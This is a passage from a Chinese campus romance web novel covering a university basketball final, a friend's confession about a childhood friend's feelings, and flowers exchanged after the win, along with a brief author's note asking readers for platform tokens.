徐盼雁本身就是个热络的话痨,现下又见到上次球赛没来且险些以为这次也不会来的虞千绾, 话更是多到不行, 挽着虞千绾胳膊叽哩哇啦说个不停。 基本都是在同她分享她没在的这段日子里篮球队发生的趣事和惊险事, 让她迅速融回篮球队这个大家庭, 还跟她说一个瓜—— 虽然距离上次虞千绾和篮球队的大家接触也才过去两周不到的时间, 但有些事就是发生的很突然。 篮球队里有对情侣分手了,而且是对他们怎么也没想到的情侣。 那对情侣之前篮球队聚餐的时候也在, 虞千绾对他们印象还挺深的, 因为他们俩是现场极少数的一对研究生情侣,男生本硕都是京大的, 本科就在篮球队里了,研究生以后花在篮球队里的时间虽然没有本科时候多, 也不跟球队一起打比赛了, 但自身还是挺热爱打篮球的,时不时会和篮球队的大家约着一起打着玩,所以篮球队的聚餐活动他也来了。女方本科是人大的,研究生才考到了京大。俩人是高中同学, 高考完就在一起了, 大学四年虽然同地不同校但感情依旧稳定甜蜜。 那天女生们坐在一桌上听着学姐分享他们的爱情时都在心里头默契的想,最难熬的四年都熬过去了,如今他们都考在一个学校, 日后肯定感情更加顺利美满了,谁知才这么点时间就传来他们分手的消息,让人免不得有些为其过往的那么多年感到遗憾。 徐盼雁前些日子知道的时候也很惊愕于这个消息, 但这段日子,那位学长都没再约着大家线下打过篮球了,她没见到也没从别人那探听到一二,总不好直白发消息去问俩人分手的原因,过于冒昧,所以知道的便只有这么多了。 虞千绾正在托腮回忆先前和学姐坐在一桌时,学姐聊到感情时洋溢着笑容和爱意的表情,越想越感到世事无常,这才多久,怎么就这样了呢…… 一个不经意瞥过和徐盼雁正对上的视线却登时将她从追忆里拉出。 因为徐盼雁一副明显有话要问的神情,并且这话……显然和商恪景有关。 她咬着下唇,睁着眼睛,故作纯良地直勾勾望着虞千绾,见虞千绾看向她,她还赶忙连眨了几下眼睛,暗示意味十足。 虞千绾看破,笑着摆了摆手,“问吧问吧。” 得到允许,徐盼雁有关这事的话匣子彻底打开,她都快把自己憋死了,一长串话噼里啪啦道出,“你和商恪景怎么回事?因为啥事闹了矛盾啊,第一次见你俩别扭这么久。你都不知道这些天每次训练的时候商恪景那个样子,要么一个人失魂落魄待在角落,要么就跟感觉不到累似的疯狂在球场上练球,但凡换个不知情的人,肯定都当他是失恋了。” “但你放心啊,我知情,肯定不会往那方面想的。” 徐盼雁当即拍着胸脯特意声明,“还有明轩也是,总之我们都绝对坚信你们俩的纯洁发小情谊!但朋友和爱情一样嘛,闹别扭都会很难过的。我就想问,你俩现在是彻底和好了吗?还是还有些没处理的情绪梗在那呢?” 听到徐盼雁前半截话,虞千绾其实没觉得有什么的,因为是个完全在她意料之中的问话,而且那段时间商恪景的情况,徐盼雁也在微信里跟她提过,她知道。 但后面紧跟着的那串徐盼雁突然打补丁的话,虞千绾听得汗颜。 她看着眼前毫不怀疑相信他们是纯粹朋友关系的徐盼雁,仿佛看到了昔日跟周围所有觉得商恪景喜欢她的人解释说他们真就是关系很好的朋友时的那个劲,莫名感到羞耻,甚至怀疑自己当初是不是情丝被抽了,自己没发现也就罢了,还在那一本正经替商恪景跟别人澄清。 现在好了,现实给了她狠狠的一巴掌证明她是错的。 但她却在此之前给徐盼雁洗脑成功了…… 虞千绾轻咳声,视线有些尴尬的飘离,没好意思跟徐盼雁对视。低头,抬手心虚挠了挠额头,“那个……” 大抵因为是决赛,京体大的场馆内格外热闹,不仅来了将要对战的京大和京体大学生,还来了别校篮球队的观赛成员,加之比赛还没开始,大家说话声音没怎么收敛,场馆内的闲聊声手机声以及志愿者的吆喝声此起彼伏,略显嘈杂的混在一起,虞千绾心虚时说的话又轻,徐盼雁没听到,当即把耳朵凑了过去,“什么?” 虞千绾不打算再瞒徐盼雁,她这时候其实也挺需要一个军师的,但她自觉之前给徐盼雁灌输了太多她和商恪景只是朋友的观念,现在又自己抹杀过于割裂,她便犹豫着拍了拍徐盼雁后背,提醒,“……你做好心理准备哈。” 徐盼雁一听这话,倏地捂住心脏,眼睛都睁到最大,呼吸放缓,表情却明显开始兴奋,“怎么说?怎么一副有大瓜的样子?” 虞千绾垂首,挨近徐盼雁耳畔,很小声很小声说:“那个……我之前的判断可能有误,商恪景他……确实是喜欢我。” “卧槽。” 徐盼雁跟被电击了般,腾的一下站了起来。 幸而现场人多嘈杂的,就算在第一排站起来也没太吸引到后头人的注意,她一边嘴里持续喃喃着“我靠我靠我靠靠靠”一边有些被惊到发木地僵直坐下。 虞千绾见徐盼雁如此,委实尴尬又想笑。 默默头脑风暴了十来秒的徐盼雁骤然回过神来,倾身就压到虞千绾身上,打了下她胳膊,轻嗔:“啊!虞千绾!我恨你这个钢铁直女,居然给我带到沟里去了!” 虞千绾被压的身子微微朝侧斜歪过去,她彻底没脸见人的捂住脸。 既觉得当初的自己太愚蠢,又实在感到好笑,弄得她一整个啼笑皆非。 徐盼雁坐回身想了会儿也失了笑,“我也是服了,一开始我那么坚定不移的认为你俩有猫腻,后来怎么就信了你,商恪景明明那么明显。” “我冤枉啊。” 虞千绾举起双手,装哭两秒,“我是真的把他当朋友,没有那方面心思的,也是前些天他喝醉酒说了漏嘴我才意识到的……不然我现在都还蒙在鼓里呢……” 徐盼雁迅速捕捉到日期,“喝醉酒?咱们聚会那天?” 虞千绾点了点头。 徐盼雁一副悟了的姿态意味深长“奥~~”了声。 虞千绾被她用这样眼神持续盯得有些难为情。 徐盼雁没给她逃避的机会,瞬间将脸凑到虞千绾脸前,近到鼻尖都快碰到。 她冲虞千绾有些暗昧地眨了眨眼,“所以,你俩这不叫和好,而是——在一起了?” “那可没!我是真的还有些没缓过来,我之前真的真的完全没想到他对我有这层心思,彻头彻尾拿他当朋友。你听到这消息的时候有多震撼,我只会比你震撼个千倍百倍。” “那是追求阶段?” “嗯……”虞千绾想了想,又觉得不太准,商恪景对她也没展开那种明显的强有力的追求,可又确实在她拔智齿害怕的时候以及需要照顾的时候都在她身边陪着照顾着,也不能算是完全没追,总归和世俗意义上的那种直白追求给到她的感觉不太一样。大抵是他们之前太熟悉,所以比起只能靠着请吃饭请看电影见面的这类追求多了些更自然更润物细无声的意思在,“其实应该说处于一个,我拒绝了他,并且我们商量好一点点远离对方生活的阶段。” “啊……” 徐盼雁刚还雀跃的面色骤然一垮,那遗憾的声音比刚刚描述分手的学长学姐还要再幽长连绵几分。 虞千绾跟着也轻叹了声。 “你真的一点都不喜欢他啊?” 徐盼雁忍不住追问个明白,整张脸都为之惋惜地皱着。 “在我刚得知的那几天,我很确定我自己不喜欢他。” 感觉到挽回和反转的徐盼雁眼睛又亮了些,“然后呢?这几天呢?” 虞千绾一时间不知道该怎么描述才好,几度欲言又止,困扰至极地又曲指挠了挠额头才道:“这几天……感觉最多的其实也不是喜欢不喜欢,而是习以为常的生活被打乱的不自在感。毕竟我跟他认识这么多年了,天天形影不离的,乍然不见面不联系,真挺难适应的。” “而且他吧,这些天虽然没对我展开很明显的追求,但时不时的有些……油腔滑调的,反正就是说什么喜欢我啊什么的……总归和我记忆里的样子相差甚远,我感觉我在重新认识他。” 说到末尾这几句,虞千绾面色不大自然,话腔也含混了些。 徐盼雁却是脸都要笑烂了。 “尤其前两天,有个追过我很多年的男生知道我拔智齿脸肿过来给我送些吃的,我当时很不喜欢他这种一声不吭就从别人那打听到我家直接就过来的冒犯行为,很直截了当就当面警告了他。事后吧……我就格外明显的意识到,我对所有追求者都挺能直接拒绝的,偏偏面对商恪景,拒绝的话也不知道到底怎么了,就是很难说出口。” “但我很确定,这份特殊绝对不是因为出于对异性的那种喜欢。可我就是没法对他像对别的追求者一样,我都有些分不清这到底是出于多年朋友情谊还是习惯他这个人的存在,又或者是……也有那么一点点的……哎呀,反正我也糊涂了。” 徐盼雁逐渐认真听着虞千绾的困扰,没再揶揄调侃她,“你这确实很难,有人不是说嘛,21天养成一个习惯,你这跟商恪景在一起待着的时间都有21年了,而且你一直对他没有别的感情,突然得知他的又混杂着这么多年养成的习惯,确实有些难以区分具体的感情占比。” “但我问你一个问题哦,你是跟他接触的时候高兴,还是不见他的时候高兴?” “那当然还是见到他的时候。” 虞千绾补充说清楚,“其实我也觉得很奇怪,就是我不见他的时候,我特别希望躲着他,我觉得跟他见面会很尴尬很僵持,但见面以后,我反倒会有些忘记这种感觉。虽然多少也会别扭,可跟他聊着聊着我就容易忘,说不上来具体的感觉,反正他很容易会让我放松,不知道是他性格的问题还是习惯了这么多年跟他的相处。你都不知道……我这些天好几次忘记跟他的新关系,跟他一见面处着处着就忘了,恢复之前的相处模式,乍然想起我再立刻回过神跟着装生疏保持距离,巨尴尬……” 徐盼雁完全见识过虞千绾拒绝追求者的样子,面上礼貌温婉,实际跟没心似的,极少会因追求者有什么心神波澜,不过对她这样的美女来说也实属正常,毕竟她从小被人追求到大,要是去共情每个追求者,那她怕是要累死。 正因如此,更显得商恪景特殊,可这样一个挚友,谁面对又能不特殊呢,那可是从出生就认识且日复一日相处的人啊。 徐盼雁沉吟须臾,“那你就怎么开心怎么来嘛,反正你不见他的时候不也会为了他焦虑嘛,既然你觉得见他的时候更开心些,那就见,两全其美嘛,他肯定也想见你。” “……我姐也跟我说过差不多意思的话,但我真的一直就是个会和追求者保持绝对距离的人,让我突然和一个明知道喜欢我但我却觉得没戏的人接触,我总感觉道德上过不去那关,就跟吊着人家玩似的……所以我这些天一直感觉脑子里有两个小人在打架,感性和理智也在打架,拧巴的我都感觉不像我了。” “你这样想嘛,你这叫什么吊呀,你不是也不确定自己对他的感情里会不会有那么一点点喜欢嘛,你就当是接触呀,最后要是发现有最好啦,你们就在一起,没有的话再离开也就彻底琢磨透自己的心,而且呀——” 徐盼雁想到自己要说的话都不禁笑了声,顿了下才道:“要真是吊的话,商恪景肯定也巴不得你吊着他玩呢。毕竟你从来不吊别人,就吊他,这何尝不是一种特殊,是他的荣幸。” 既渣又莫名有点道理的话把虞千绾也给听笑了。 徐盼雁见虞千绾笑的身子一个劲颤也不说话,自己也不由得跟着发笑,嘴里还不忘继续劝说,“你就说是不是这个道理嘛!何况你又不是吊。你只是在确认自己的感情。感情肯定要有接触阶段的呀,总不能全都是一见钟情。” “而且,假设,我只是说假设哦,保不齐你们接触途中,商恪景就变心了呢?他喜欢别人了,你也发现自己依旧不喜欢他,那不是刚刚好嘛,你们又能继续当朋友了。” “我觉得这些东西还是交给时间最好了,自己惆怅压根惆不出个头绪,跟着时间走着走着,说不准就清楚了。时间的变化咱们不可控,能做到的就是尽可能选择让自己能快乐一秒是一秒嘛。” 不得不说,徐盼雁的话有些说服虞千绾,她心里头缠着的一团糟的线瞬间捋齐了。 虽然起初尝试阶段肯定还是有些不适应的,但起码寻到了一条最大程度上让自己舒适且和心意较为符合的道路。 “啊,感谢!徐导师。” 虞千绾侧过去,由衷抱住了徐盼雁。 “别客气,你俩真要结婚了,给我安排个主桌就行。” “救命……”虞千绾头皮发麻,一秒松开徐盼雁,“你在说什么可怕的事情,不对,你是不是误会了什么,我刚刚说的那一点点,真的只是一点点,甚至是一点点点,习惯和友情占百分之九十九,那个撑死占百分之一。” “我知道呀,没误会。” 徐盼雁揉了揉虞千绾无事的右侧脸颊,娇俏朝她wink,“我就是单纯的很希望你俩能在一起,证明我一开始的眼光是正确的!” 说着,她还用肩膀轻轻顶了顶虞千绾的肩膀。 虞千绾有些羞恼地嗔了她眼,“早知道就不跟你说了……” “那怎么办呢,我已经知道了。” “啊啊啊。” 虞千绾有些恼羞成怒,“你千万不许说出去!你家魏明轩也不行。” “啊啊啊啊,他也不行?!那好难。” “不许不许不许。我真的自己都没弄明白,要是一个不注意传到商恪景耳朵里让他当了真给了他希望,我真是要死了。” “那好吧。” 毕竟是别人的隐私,徐盼雁只能退而求其次,“那你要是发现自己真喜欢上商恪景的时候,一定要第一个告诉我。” 徐盼雁似乎太相信他们会在一起,言之凿凿的,虞千绾听着下意识就想站在另个对立面回嘴,“你放心,我发现我真跟他完了的时候一定第一时间告诉你。” “哼哼哼,我才不信呢,死鸭子嘴硬。” 两个人谁都没办法说服彼此,只能干巴巴的你瞪我一下,我瞪你一下,最后一个没绷住笑出声,另个也瞬间破了功。 直到球赛将要开场,两队球员们开始准备上台。 两人才止住这个话题,注意力都放在了球赛上。 每次站到台上,商恪景都会第一时间去寻虞千绾的位置,寻到后或是摆摆手或是一个眼神或是抬抬下颚示意,让她知道他看到她了。 但当这一幕发生在现在的他们身上时,免不得多出许多昔日绝不会有的暧昧…… 更别提虞千绾身边还坐着个刚得知商恪景喜欢的徐盼雁,她跟虞千绾坐在一起,自然也接受到了商恪景投来的视线和虞千绾微微有点闪躲的眼神,当即简短但饱含深意的上挑着语调“哦~”了声。 商恪景还在看着她们这边,虞千绾顿感腹背受敌,手动捂住了徐盼雁的嘴不让她再发出声。 商恪景离得远,虽然压根不可能听到她们俩在说什么,也看不清她俩具体的神情,只能通过肢体的动作有个估测。 但他和虞千绾实在太熟,即使只是这么遥遥望着,他却也在那瞬间准确感知到她较甚的情绪——羞愤。 隐约意识到什么,商恪景唇角微微上扬。 很快,比赛正式开始。 紧张取代了旁的所有情绪。 虞千绾和徐盼雁的手紧张交扣在一起,嘴里时不时溢出几声紧张到极致的低啊和随着战局对峙而起的倒抽气声。 虞千绾的情绪比徐盼雁要好些,还是那个原因,她并不是很能看懂,最清晰让她知晓输赢的就是立着的比分牌,在牌子上,京大持续是领先京体大的,虽没把分数拉得很开,但京大一直在前没被超越,虞千绾便看得较为心安。 距离上半场就差三分钟要结束的时候,京大的优势也一直保持着,徐盼雁渐渐也就没那么紧张,还有心情跟虞千绾闲聊了,“说起来还得感谢商恪景,前些天你们不是闹别扭嘛,他在球场上打得超级凶,像是接着打球发泄情绪。一开始球队的大家都跟不上他,后来打着打着才适应了些,但你真别说,现在看着,还得感谢商恪景呢,给整支队伍的强度都拉上来了。” “我就感觉他们进个球好难啊,两支队伍一直在球场上来回拉扯,老半天都没个人进球。” “这已经很棒了!京体大诶,顾名思义,体育大学,很多专业对口的,而且咱们现在是领先的,越胶着越好,只要他们进不了球,咱们稳住,拖到时间结束就赢了。” 徐盼雁突然双手合十,对着老天虔诚祈祷,“拜托拜托,求求了,一定让他们保持住,别被超过。” 上半场结束的时候,京大仅以微末的差距领先于京体大,但这点分数很容易就被扳回去。 所以上下半场之间的休息时间,两边教练都在和队员们说个不停,手上还用力给他们揉揉肩膀和胳膊帮助他们放松肌肉和情绪。 下半场开始五分钟,徐盼雁突然接到一个电话,她低声跟那头说了几句就跟虞千绾说自己得出去一趟,让虞千绾记得实时把这边的比分发给她。 “你怎么了?这么着急吗?不能看完吗?” 虞千绾还以为徐盼雁这边出了什么大事,毕竟魏明轩这么在意球赛,而她又那么在意魏明轩。 “哎呀。” 徐盼雁瞬间羞赧的眨了眨眼,“我是买了束花,准备在比赛结束的时候送给他。但学校里不给外卖骑手进来,我只能去校门口拿过来。” 虞千绾当即松了心,朝她露出个放心的笑容,“去吧,我肯定实时给你播报清楚。” “好!我去了。” 生怕站起身挡到后面人的视线,徐盼雁猫着腰行过观赛席才直起身往外小跑而去。 一来一回,徐盼雁紧赶慢赶还是花了十几分钟的时间,下半场篮球赛已近尾声。 她喘着粗气弓着腰回到原位,第一时间把花藏在身后,自己只坐了椅子的前三分之一,防止被魏明轩看见没了惊喜。 徐盼雁估计怕赶不及,一路全是靠跑的,饶是在现在这个有些冷的季节,她的额前还是出了不少汗,发丝凌乱黏着皮肤。 虞千绾赶忙从口袋里掏出纸巾给徐盼雁擦了擦,徐盼雁气都没喘匀连句谢谢还没同虞千绾说出口现场就爆发出了欢呼声。 球赛结束了。 京大赢了。 刚坐下的徐盼雁倏然又站起来呐喊尖叫,但眼眶的湿润却更让虞千绾心生触动。 虞千绾不懂篮球,也无法太过于共感魏明轩的情绪,但她清楚知道徐盼雁爱屋及乌。 场外已经有人冲进去拥抱或送水了,虞千绾看着眼泪噙满双眸还傻站在原地的徐盼雁,立即把花塞给徐盼雁,“快去呀。” 徐盼雁一手抱住花,另手胡乱在眼前揉了下,娇憨朝着虞千绾一笑,随之像只小精灵般充斥着生命力和爱意的向魏明轩奔去。 魏明轩看到徐盼雁的身形,当即也向前迎了一截,两人紧紧相拥在一起。 大抵是太过欣喜,魏明轩低头吻了徐盼雁,很蜻蜓点水的一下,却比什么热吻都要显得爱意缱绻,还透着青春独有的气息。 徐盼雁既害羞又蠢蠢欲动,但还是顺应心意仰头在魏明轩唇上回了枚吻才羞到抬不起头地彻底埋在他怀里。 虞千绾远远瞧见,突然分外遗憾没能谈场校园恋爱。 这种特有的氛围和青涩,大概出了社会是不会有的。 球场上人员混杂,有上去安慰京体大的,有上去为京大庆贺的。 虞千绾在他们胜利的那一刻就和商恪景对上了视线,但很快他跟队友们抱在一起,她的注意力也放在了魏明轩和徐盼雁身上,结果此刻再想去寻找他,虞千绾却发现球场上没有商恪景的身影了。 她下意识定睛仔细再去寻,心想是不是人太多被挡住了,脚下也微微踮起,试图可以站得高些看得更远。 就在这时,她的身后突然有道阴影覆下,那人俯身在她脑袋旁,语调掺笑问:“找我呢?” 因为离得略近,他讲话时的温热气息浅浅扑撒到她面侧。 虞千绾一惊,来不及反应地侧目看去,正看到商恪景那张恣意翘着笑的俊脸。 他还穿着一身球服,在外面连个外套都没套就直接过来找她了。 商恪景忽而直起身,背在身后的右手绕到身前,双手将刻意藏着的东西送至虞千绾面前,“送你。” 那是一束紫白色系搭配的花。 她最喜欢的颜色。 商恪景应是擦过了汗过来的,但刚剧烈运动完,身体尚未休缓过来,汗还在细细密密地往外冒。 虽然他极力在用笑掩饰,但第一次在虞千绾知道他的喜欢后送她花,明显还是有些紧张的,他怕她拒绝。 虞千绾可以觉察到,同时也可以觉察到他的笨拙、在意、重视,和喜欢…… 刚见识到徐盼雁用心的虞千绾跟着就瞧见这幕,瞳孔不禁一颤。 作者有话说:[捂脸偷看][捂脸偷看][捂脸偷看]有没有读者宝宝有月石不用的可以给我空投一下哇~晋江上传封面需要作者用月石兑换,我太多封面了,月石不够用[无奈][无奈] 有月石但不知道怎么投的宝可以看这里→宝们点进我的专栏,然后可以看到右上角有两个图标,点左边那个像宝石一样的logo就可以给我投月石啦,多谢多谢[求求你了][求求你了][求求你了]万分感激~ 第44章 第 44 章 “你在这,这场比赛就赢…… 见虞千绾垂着视线看着他手上的花顿住, 没有伸手拿也没有退后。 商恪景只能看到她低垂着的后脑勺,完全看不到她的神情,喉间的水分都仿佛在蒸发,干燥的连吞咽都似会牵起涩痛。 手指在无声的等待中不自觉攥紧, 花束最外层的包装纸因这动作被捏出轻微的响来, 微微打破了些寂静的氛围, 也打破了些他心口蓄着的僵冷。 他将花又朝前递了一小截, “……没什么别的意思, 就是谢谢你今天来,庆贺我们一起拿到的胜利。” 虞千绾看了他一眼, 又迅速敛下了眸。 但这次, 她抬手,从商恪景手中接过了那束花。 商恪景一贯张扬惹眼的面庞在这刻竟升起了些憨态, 他就这么毫不掩饰的低低笑出了声。 或许,他是想掩饰的, 但那一秒实在太高兴了, 他没掩住。 虞千绾再度抬眼看向他的时候,他立即敛住了笑,上下嘴唇紧紧抿起,可那双眼牢牢地烁闪着碎光地含情望着她。 明明什么都没说, 可又好像什么都说了。 一定是场馆里人多太热了。 虞千绾想, 不然她怎么感觉脸颊这么热。 她率先朝后退了一步,借由垂首看花的动作不显刻意地避开了商恪景的眼神。 但商恪景委实太灿烂,虞千绾觉得自己落了下风, 轻声咕哝句:“我又没打比赛,怎么是一起拿到的胜利?” 她试图以此反驳他刚刚的话,让他意识到话里的错漏别再这么春风得意的。 哪知, 换来商恪景句不假思索的答复。 他说:“你在这,这场比赛就赢了大半,所以是我们共同的胜利。” 虞千绾摸着花瓣的细指一顿,生生抑住了将要问出口的“为什么?” 因为她有预感,这个答案又跟那些暧昧不清的话脱不了干系……她便没敢问,只觉最近的商恪景有些超标的厉害,若非她跟他青梅竹马,清楚知道他的感情史,她一定会怀疑他不是个母单,否则怎么动辄说出些跟情场高手似的话。 “吁——” 球场上突然传出一声强有力的刺耳哨声,所有人的注意力下意识望过去,现场也陡然一静。 跟着,有人声从广播里传出。 “还请大家都回到自己的位置上,接下来要举行本届京市高校篮球赛的颁奖仪式。” 但台上依旧有不少人,很难迅速看到举着话筒说话的人在哪。 现场也有些志愿者开始上台驱散无关人员,为接下来的颁奖仪式腾出整洁空旷的位置。但一个对一窝,志愿者的声音喊的都伴有些声嘶力竭。 如此情形正好给了虞千绾机会,她抱着花当即就坐下,趁机催离商恪景,“你快去准备领奖吧,别让他们找不到你。” 她语速很快,眼神流转也很快,但基本都在不正视商恪景的范围里流转。 “那我去了,应该很快就好,你等我,我们一起回去行吗?” 怕虞千绾先走,商恪景特意询问。 虞千绾并没打算先走,拿冠军这么高兴的日子,她可不想搞这种小动作扫兴,所以听到商恪景问的时候下意识就点了点头,可转瞬看到他展露的笑颜,又有些说不清道不明的别别扭扭。 她只能靠着持续低头拨弄花的动作为不和他产生眼神触碰营造正常氛围,商恪景那双天生的桃花眼在这种时候实在有些犯规…… 但真是奇了,她以前虽也觉得他眼睛好看,可从没这样不敢直视过。 自从知晓他心意以后,她分外怯生直视他的眼睛,因为那里面的喜欢实在太明显,几乎都要从眼睛里溢出,而现在的她没法回应…… 就在心神不定胡乱想了一堆的时候,徐盼雁回来了,她瞧见虞千绾怀里的花,语调骤扬,“哇,千绾你什么时候也买的花啊?好好看啊,你审美真好。” 虞千绾抬起头,这才发现商恪景早在不知什么时候离开了,这会儿已经和球队的大家站成一排候场准备上台领奖了。 徐盼雁也在虞千绾身边落座,手指顺势搭上她肩膀,凑到她耳边掺着浓浓的笑意和揶揄近乎笃定地问:“要送给商恪景呀?那他一定很开心。” “才不是。” 虞千绾刚下定决心和他随着时间慢慢接触接触,送花这种近乎喜欢的暧昧动作,她不到真确定心意的那天是不可能向商恪景做出的。 “啊?” 徐盼雁懵了,“那这花哪来的?” 她下意识环视一圈,还以为现场哪里有虞千绾的追求者呢。 虞千绾小声咕哝:“……他送的。” 听到这话的徐盼雁瞬间沸腾,眉飞色舞,嘴巴都张成了O型。 虽然什么都还没说,但虞千绾顿感面红耳赤,当即指了指她先一步制止,“不许说!” 徐盼雁的确什么都没说,但乐到上身都要趴靠在腿上,并且那张脸持续侧对着虞千绾,一个劲地明晃晃地盯着她笑。 两人很快又打作一团。 直到颁奖仪式正式开始才歇战。 这种仪式上少不了一些虽然没必要但不可避免的长篇大论发言,幸而台下的大家都跟初高中时不一样了,都有手机玩,如此,时间过得也还算快,就是苦了篮球赛的前三名,他们默默站在一旁没法玩手机。 终于,各种头衔的领导发言完毕,开始给本届京市高校篮球赛的前三甲颁奖。 奖项是自后向前颁布的,先给的第三名,而后是第二名,最后才是第一名。 虽然三支队伍的所有队员都在,脖子上都被颁奖的领导挂了个奖牌,但还有个单独的奖杯和凸字型讲台,只能派出一人登上领取。 京大毫无疑义地派出了魏明轩。 魏明轩今天就快哭成了狗,才刚有些止住,往属于第一名的讲台上一站,再望向几乎满座的观赛席,视线又感性的模糊了。 话很多的领导在给他颁奖时都显得有些寡言,因为魏明轩实在哭得太厉害,哭的领导都略显手足无措,在将奖杯递给魏明轩后拥抱他的时候局促的一边拍着他的后背一边粗糙安慰说“好好好”,场面一度有些好笑。 台下,徐盼雁瞧着这幕,一边说要给魏明轩录下来以后笑话他,一边又流下了共情的眼泪。 他们在校的最后一届京市篮球赛彻底拉下帷幕。 魏明轩的执念也终得圆满,他扭头又跟兄弟们抱在一起哭得泣不成声。 另外两支队伍和观赛席的观众都纷纷离席,收拾好东西离开现场。 徐盼雁拉着虞千绾一块去到了台上。 徐盼雁主动握住了魏明轩的手,魏明轩扭头一看也有些泪眼婆娑的徐盼雁瞬间又不行了,那么大一只就直接埋首趴在了徐盼雁肩上,牢牢紧拥着她。 本来还挺让人艳羡又感怀的画面,结果魏明轩哽咽着说了句:“雁雁,我爱你。” 现场氛围霎时间变化。 突然就被塞了把狗粮的大家一秒表情丰富,默契发出声被恋爱的酸臭味酸到的起哄声。 结果一向还挺沉稳持重的魏明轩更能叫嚷了,他又喊了句,“我就爱徐盼雁,怎么了?!” “我爱我家雁雁,一辈子!” “哎呀,你快别说了~” 徐盼雁羞的在魏明轩怀里根本都不好意思抬起头。 大家的起哄声自然也更甚。 正抱着花笑着的虞千绾始料未及话题下一秒就丝滑转到了她身上。 “哎,咱真是要爱情爱情没有,要发小发小没有,你们瞧瞧,队长和商学长都有人送花。” 说话的人是球队里有个叫黄衢的大二学弟,他说这话时也没什么旁的心思,就是单纯的羡慕两位学长都有花收。 但虞千绾的笑容却在瞬间僵住。 一时间,解释也不是,不解释……也不是。 就连埋在魏明轩怀里的徐盼雁都稍稍直起了些身子,半只眼睛掠过魏明轩肩头看向她,期待着后续。 虞千绾试图不置可否光靠着干笑带过这个话题。 哪知跟着就有别人也顺着这话开始去推商恪景,“人家女孩子都来给你送花了,你还杵这干嘛,过去呀。” 男生之间用起劲来没轻没重的,商恪景被推的往前踉跄了半步。 虞千绾下意识往后退了半步。 不管她的后退究竟是有心还是无意,商恪景都没再向她靠近,只是侧首看向身后那群篮球队朋友,坦然道:“那是我送她的。” “嗯?!” “哦……” “啊~” 几个人跟唱戏似的连着吐出几个声调,看向商恪景的眼神里顿时掺上了些果不其然的意思。 不过女生就在这,他们都较为收敛,没像对待在一起的魏明轩和徐盼雁那般瞎起哄,顶多朝着商恪景挤挤眼,或者拍拍他肩膀暗暗给他鼓劲加油。 就魏明轩还在那一无所知的继续抱着徐盼雁,时不时还得感怀的掉几滴眼泪。 第45章 第 45 章 她在默许他的靠近 篮球赛之后的两人又短暂恢复了几天之前的状态, 基本不见面,也不联系。 但这种状态和先前又有些微妙的差别,更倾向于是将仅两人知晓的暧昧公之于众后的冷静休缓期,当然, 虞千绾这种感觉较甚, 商恪景还是很想见她的, 可又顾虑于当初答应她非重要不联系的话。 尤其那日, 篮球赛决赛结束后归家的途中。 虞千绾一直没看他, 要么低着头看花,要么就刷手机。 商恪景还当是自己揣度错了, 试探性问了她句:“……你跟徐盼雁说了吗?” “嗯?” 虞千绾愣了下才反应过来商恪景什么意思, 低啊了声放轻声回:“……嗯。” 确定自己没会错意,商恪景心头没再那么沉甸, 主动解释说:“我那会儿主动在球队大家面前提,是因为我看你好像主动和徐盼雁说了, 以为你没有排斥才说的。” 何况那会儿的情形他若是不这么说也挺难收场, 大家的注意力显然都集中在了他们的身上,期待着虞千绾给他送花。他们总不能揣着明白装糊涂真在大家面前演一遍她给他送花的场面,那样她会很尴尬。商恪景想这是他主动做的事,他得出来担着。不过这话他没说, 因为是他没有考虑妥帖, 可若说出口就跟替她考虑似的。 但虞千绾的态度让他忐忑,他话音落下还不待她出声又补充道:“要是你因为这个不高兴,我以后不会再在第三个人面前提。抱歉, 今天是我没考虑好,应该私下送你的。” 虞千绾没有顺着他的话题往下继续说,反倒搂紧了些怀里的花束反问:“你什么时候买的花?” 虞千绾很好奇也很琢磨不透这点, 因为徐盼雁说京体大的门卫不给外卖骑手进校送东西,那商恪景的花又是哪来的?他们早上是一块来的,她清楚知道他没有带花。可他才刚赢得冠军没多久就把花送到了她身边,这中间没隔多少时间,显然也是不够他往返的。 “我麻烦的汪叔,今天不是有篮球赛嘛,很多外校人来看球赛,门卫管的比较松,只要不是像外卖员那样穿着明显的制服,门卫基本都会放进来的。” “你跟汪叔也说了?!” 虞千绾瞳孔地震,声调骤扬,步伐都是一顿。 汪叔可是家里的老司机了,他一知道,怕是距离家里人知道也不远了。 “不不不。” 商恪景迅速摆手澄清,“没有!我只是让他帮我拿东西送进来而已,他不知道我们俩的事。” “我们俩有什么事?” “……”商恪景语噎须臾,改口道:“……我单方面对你的——” “感情。” 这两个字,他说的很轻很含糊。 虞千绾收回了看着他的视线,默默将头转向了另侧,只用后脑勺对着他。 商恪景还以为她不高兴自己今天跟大家提,殊不知虞千绾是因为看到他吃瘪的样子难压嘴角,这才转过了头。 这种相处的变化实在很难不让虞千绾感到微妙的愉悦。 譬如,之前的他们习惯性的你一句我一句,打打闹闹,怼天怼地。但现在,商恪景基本不会‘怼’她,示好几乎摆在了明面上。 并不是说虞千绾不喜欢他们之前相处的模式,只是这种变化让她更清晰的感知到他们之间情感的变迁,但见多了往日的模式,乍然面对这样的商恪景,虞千绾还有些没适应,就跟见好朋友追求人似的,瞧见反差老有些绷不住想笑,但偏偏现在被追求的这个人是自己,她只能强忍着在他瞧不见的地方笑。 商恪景不知这些,无声头脑风暴了一阵,还是没耐住又问了遍刚刚没得到结果的问题想得到确切的答复,“……所以,你很生气我跟别人提这个是吗?” 虞千绾转回头看向商恪景回答的时候面色已经佯装如常,“也没有,只是觉得最好别跟爸妈和爷爷奶奶他们提。” “那不会的,我知道。” “嗯。” 虞千绾点了点头,“那就行。” 话题就此终止,换做以前,商恪景绝对不会再多想什么,因为他们之间的沟通从来都是直来直去的,不会有太多的心思。 可现在,身份定位略有差异的商恪景止不住想,虞千绾是不是其实并不想旁人知晓他们之间关系的变化,但那日他的话已经说出去了,她也不好再说什么,便只能说没有。 处于一段并没什么信心的关系中时,随便一点细枝末节都会被无限放大,足以在心里搅得天翻地覆。 两人关系的再次破冰是在篮球赛后第四天,这天有课,他们又有了必然的交集。 商恪景起床第一件事就是把门大大敞开,哪怕临近12月的天已经很冷了,如此会让屋内的暖意外泄。但这点寒意和可能会错过虞千绾压根没有可比性。 天开始冷起来,起床就变成了更加艰难的事。 虞千绾几乎是卡着最后的点从暖乎乎的被窝里爬起的身,然后飞速换衣服洗漱出门。 她将门一推开就看到了不远处开着的那扇门。 他确是一如先前所说那般,没有再频繁来找她,但这扇大多时候都开着的门就好像在无声表明他的态度——只要她需要,她愿意,他一直在。 商恪景早早收拾好了,就在家里等着虞千绾。 